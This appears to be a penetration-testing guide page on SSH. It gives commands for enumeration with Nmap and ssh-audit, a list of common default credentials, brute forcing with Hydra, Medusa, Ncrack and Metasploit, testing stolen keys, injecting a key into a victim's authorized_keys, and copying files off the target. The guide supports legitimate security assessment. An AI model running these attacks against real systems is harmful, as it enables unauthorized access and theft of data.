22: SSH

SSH penetration testing guide covering banner and version enumeration, authentication method detection, credential brute-forcing, key-based auth testing, vulnerability assessment, and SSH tunneling for pivoting using tools like Nmap, Hydra, and ssh-audit for security assessments and ethical hacking.

SSH (Secure Shell) runs on port 22 and provides encrypted remote login and command execution. SSH services are high-value targets: misconfigurations, default or weak credentials, stolen or weak keys, and legacy algorithms can lead to unauthorized access, and SSH tunneling is commonly used for pivoting and persistence.

Enumeration

Netcat:

nc $RHOST 22
echo "" | nc $RHOST 22


Telnet:

telnet $RHOST 22


Banner extraction:

timeout 3 nc $RHOST 22 2>/dev/null


The banner typically includes the SSH server software and version (e.g. SSH-2.0-OpenSSH_8.2p1), which is useful for CVE checks.

Version Detection

Nmap service scan:

nmap -sV -p 22 $RHOST
nmap -sC -sV -p 22 $RHOST

Nmap SSH Scripts

Default safe scripts:

nmap --script "ssh-* and safe" -p 22 $RHOST


All SSH scripts:

nmap --script ssh-* -p 22 $RHOST


Common enumeration scripts:

nmap --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey -p 22 $RHOST


Vulnerability detection:

nmap --script ssh-vuln-* -p 22 $RHOST


Auth methods (optional username):

nmap --script ssh-auth-methods --script-args ssh.user=root -p 22 $RHOST

Information Gathering

Algorithm and Key Exchange Enumeration

Enumerate supported key exchange, encryption, MAC, and compression algorithms to identify weak or legacy configurations.

Nmap:

nmap --script ssh2-enum-algos -p 22 $RHOST


ssh-audit (policy/compliance-style check):

ssh-audit $RHOST
ssh-audit -p 22 $RHOST


Weak or legacy algorithms (e.g. CBC ciphers, diffie-hellman-group1-sha1) may enable downgrade attacks or fail compliance. Note them for the vulnerability assessment section.

Authentication Methods

Determine which authentication methods the server accepts to choose the right attack (password vs. key, or both).

Nmap:

nmap --script ssh-auth-methods -p 22 $RHOST
nmap --script ssh-auth-methods --script-args ssh.user=root -p 22 $RHOST


Interpretation:

  • password or keyboard-interactive: try password brute force and default credentials.
  • publickey: focus on key-based testing (stolen keys, default device keys, authorized_keys injection).
  • gssapi-with-mic: Kerberos; consider domain/AD context.

Host Key Fingerprint

Nmap:

nmap --script ssh-hostkey -p 22 $RHOST


OpenSSH client (first connection):

ssh -o StrictHostKeyChecking=accept-new root@$RHOST
# Server key fingerprint is shown on first connect

Default Credentials

Test common default SSH credentials before brute-forcing, especially on embedded devices, appliances, and default images.

Common combinations:

  • root:root
  • root:toor
  • root:password
  • root:admin
  • admin:admin
  • administrator:administrator
  • root: (empty password)
  • ubuntu:ubuntu (cloud images)
  • pi:raspberry (Raspberry Pi default)
  • oracle:oracle (Oracle Linux)
  • vagrant:vagrant (Vagrant boxes)

Manual Testing

ssh root@$RHOST
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no admin@$RHOST

Password Attacks

Credential Brute-forcing

Hydra:

hydra -L users.txt -P passwords.txt ssh://$RHOST
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://$RHOST
hydra -L users.txt -P passwords.txt ssh://$RHOST -t 4


Ncrack:

ncrack -p 22 -U users.txt -P passwords.txt $RHOST
ncrack -p 22 -u root -P passwords.txt $RHOST


Medusa:

medusa -h $RHOST -u root -P passwords.txt -M ssh
medusa -h $RHOST -U users.txt -P passwords.txt -M ssh


Metasploit:

msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS $RHOST
set USERPASS_FILE users_passwords.txt
run


Single user + wordlist (Metasploit):

set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Key-based Authentication

Testing Stolen or Found Private Keys

If you obtain a private key (e.g. from backup, share, or credential dump), test it against the target.

Connect with key:

chmod 600 id_rsa
ssh -i id_rsa user@$RHOST
ssh -i id_rsa -o PubkeyAuthentication=yes -o PreferredAuthentications=publickey user@$RHOST


If key is passphrase-protected: crack with ssh2john and John the Ripper or Hashcat, then use the key as above.

Try common usernames with same key:

for u in root admin ubuntu; do ssh -i id_rsa -o ConnectTimeout=5 -o BatchMode=yes $u@$RHOST && echo "Valid: $u"; done

authorized_keys Abuse

If you have write access to a user’s home directory (e.g. via web upload, NFS, or another service), add your public key to ~/.ssh/authorized_keys to gain SSH access.

Append your public key:

# From compromised host or other vector
echo "ssh-rsa AAAA... your_pubkey" >> /home/victim/.ssh/authorized_keys


Ensure directory and file permissions (on target):

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Default or Weak Device Keys

Embedded devices and some appliances ship with default or known SSH host/user keys. Check for known keys in firmware or with tools that compare host keys against databases of default keys.

Manual check after obtaining key from firmware/image:

ssh -i default_key root@$RHOST

Vulnerability Assessment

Known CVEs

Nmap vulnerability scripts:

nmap --script ssh-vuln-* -p 22 $RHOST


Version check: Compare the banner or Nmap service version (e.g. OpenSSH 7.4, 8.2) against CVE databases and vendor advisories. Focus on RCE or auth-bypass issues for the detected version.

Legacy and Weak Algorithms

Servers that support legacy key exchange or ciphers may be vulnerable to downgrade or other attacks. Use enumeration results from Algorithm and Key Exchange Enumeration.

Review Nmap/ssh-audit output for:

  • Old key exchange (e.g. diffie-hellman-group1-sha1)
  • CBC-mode ciphers (e.g. aes128-cbc, 3des-cbc)
  • Weak MACs or deprecated signature algorithms

Disable these on production systems; note them in the report for remediation.

User Enumeration

SSH user enumeration is limited: valid vs. invalid username may differ in timing or in some configurations (e.g. “Permission denied” vs. “Invalid user”). Use with care and document limitations.

Timing or error-message comparison:

# Compare response/time for known-valid vs. known-invalid user
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no validuser@$RHOST
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no invaliduser@$RHOST

Tunneling / Pivoting

Once you have SSH access to a host, you can use it as a pivot to reach internal services or expose your listeners. Tunneling and pivoting are post-exploitation activities and are not covered in detail here.

For local port forwarding (-L), remote port forwarding (-R), see the dedicated guide:

SSH Tunneling — Post-exploitation tunneling with SSH


File Operations

SCP

Download from target:

scp user@$RHOST:/path/to/remote/file /local/path/
scp -i id_rsa user@$RHOST:/path/to/file .


Upload to target:

scp /local/file user@$RHOST:/remote/path/
scp -i id_rsa /local/file user@$RHOST:/remote/path/

Recursive:

scp -r user@$RHOST:/remote/dir /local/path/

SFTP

Interactive SFTP:

sftp user@$RHOST
sftp -i id_rsa user@$RHOST


Common SFTP commands: get, put, ls, cd, lcd, mget, mput, rm, mkdir, exit.


Common Tools

Nmap

Recap of useful SSH script groups:

nmap --script "ssh-* and safe" -p 22 $RHOST
nmap --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey,ssh-vuln-* -p 22 $RHOST

Hydra

SSH brute force:

hydra -L users.txt -P passwords.txt ssh://$RHOST
hydra -l root -P passwords.txt ssh://$RHOST -t 4

ssh-audit

Policy and algorithm audit:

ssh-audit $RHOST
ssh-audit -p 22 $RHOST

OpenSSH Client

Common options:

ssh -i id_rsa -o PreferredAuthentications=publickey user@$RHOST
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@$RHOST
ssh -v user@$RHOST
ssh -L 8080:127.0.0.1:80 user@$RHOST
ssh -D 1080 user@$RHOST

ssh-keygen

Generate key pair (for authorized_keys injection or testing):

ssh-keygen -t ed25519 -f mykey -N ""
ssh-keygen -t rsa -b 4096 -f mykey -N ""

Obtain public key for authorized_keys:

cat mykey.pub
Thursday, February 5, 2026 Thursday, February 5, 2026